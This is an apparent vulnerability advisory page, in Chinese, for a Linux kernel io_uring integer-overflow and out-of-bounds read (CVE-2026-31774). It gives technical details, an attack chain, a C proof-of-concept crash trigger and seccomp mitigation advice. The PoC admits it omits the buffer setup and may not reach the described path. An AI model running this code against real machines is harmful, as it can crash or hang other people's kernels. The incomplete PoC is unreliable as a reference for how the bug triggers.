IPBUF安全漏洞报告
English
CVE-2026-31774 CVSS 7.1 高危

CVE-2026-31774 Linux内核io_uring越界读取漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31774
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelio_uring越界读取本地漏洞整数溢出

漏洞概述

Linux内核io_uring组件中存在整数溢出漏洞。当处理用户传入的`sqe->len`参数时,由于类型转换错误(__u32转int),超大数值会溢出为负数。该负数在后续处理中转换为极大值,导致长度检查失效,最终在`io_bundle_nbufs`函数中引发slab-out-of-bounds读取,可能导致内核崩溃或信息泄露。

技术细节

漏洞源于`sqe->len`(类型为`__u32`)被直接赋值给`sr->len`(类型为`int`)。当用户空间传入如0xFFFFFFFF的大值时,有符号整数溢出导致`sr->len`变为负数。该负数在`io_recv`中被转换为`ssize_t`(-1),随后在`io_recv_buf_select`中转换为`size_t`变为0xFFFFFFFFFFFFFFFF。这导致`io_ring_buffers_peek`中的`max_len`限制失效,`iov[].iov_len`被设为0xFFFFFFFF。最终在`io_bundle_nbufs`中,`min_t(int, 0xFFFFFFFF, ret)`计算结果为-1,导致循环计数器异常增加而非减少,形成无限循环并读取超出分配的`iov`数组边界,触发KASAN检测。

攻击链分析

STEP 1
1
攻击者本地调用io_uring接口,准备一个SQE(Submission Queue Entry)。
STEP 2
2
将SQE的len字段设置为0xFFFFFFFF(大于INT_MAX)。
STEP 3
3
内核调用io_recvmsg_prep,由于类型转换,sr->len溢出为负数。
STEP 4
4
内核处理该请求,负数传播导致长度检查失效,iov_len被设为极大值。
STEP 5
5
执行io_bundle_nbufs时触发无限循环和越界读取,导致内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31774 * Trigger: Slab-out-of-bounds read in io_bundle_nbufs * Compile: gcc -o poc poc.c -luring */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <liburing.h> #define BUF_SHIFT 0 #define BUF_RING_SIZE 32 int main() { struct io_uring ring; struct io_uring_params p = {}; int ret, fd; // Initialize io_uring with provided buffers setup would be ideal, // but the core trigger is the length overflow. ret = io_uring_queue_init(32, &ring, 0); if (ret < 0) { perror("io_uring_queue_init"); return 1; } fd = open("/dev/zero", O_RDONLY); if (fd < 0) { perror("open"); return 1; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get sqe\n"); return 1; } // Setup IORING_OP_RECV or similar operation that uses io_recvmsg_prep sqe->opcode = IORING_OP_RECV; sqe->fd = fd; sqe->addr = (unsigned long)NULL; // Must use provided buffers in real scenario sqe->len = 0xFFFFFFFF; // Trigger value > INT_MAX causing overflow sqe->flags = 0; sqe->ioprio = 0; // sqe->buf_group is required for the select path sqe->buf_group = 0; sqe->rw_flags = 0; ret = io_uring_submit(&ring); if (ret < 0) { perror("io_uring_submit"); return 1; } struct io_uring_cqe *cqe; // This may hang or crash the kernel due to the infinite loop/OOB read ret = io_uring_wait_cqe(&ring, &cqe); if (ret < 0) { perror("io_uring_wait_cqe"); } else { printf("Request completed: res=%d\n", cqe->res); io_uring_cqe_seen(&ring, cqe); } close(fd); io_uring_queue_exit(&ring); return 0; }

影响范围

Linux Kernel (具体受影响版本参考Git提交修复记录)

防御指南

临时缓解措施
由于漏洞利用需要本地低权限,可以通过禁用非特权用户对io_uring功能的访问来缓解风险。例如,可以使用seccomp过滤器阻止`io_uring_setup`系统调用,或在内核启动参数中限制其使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表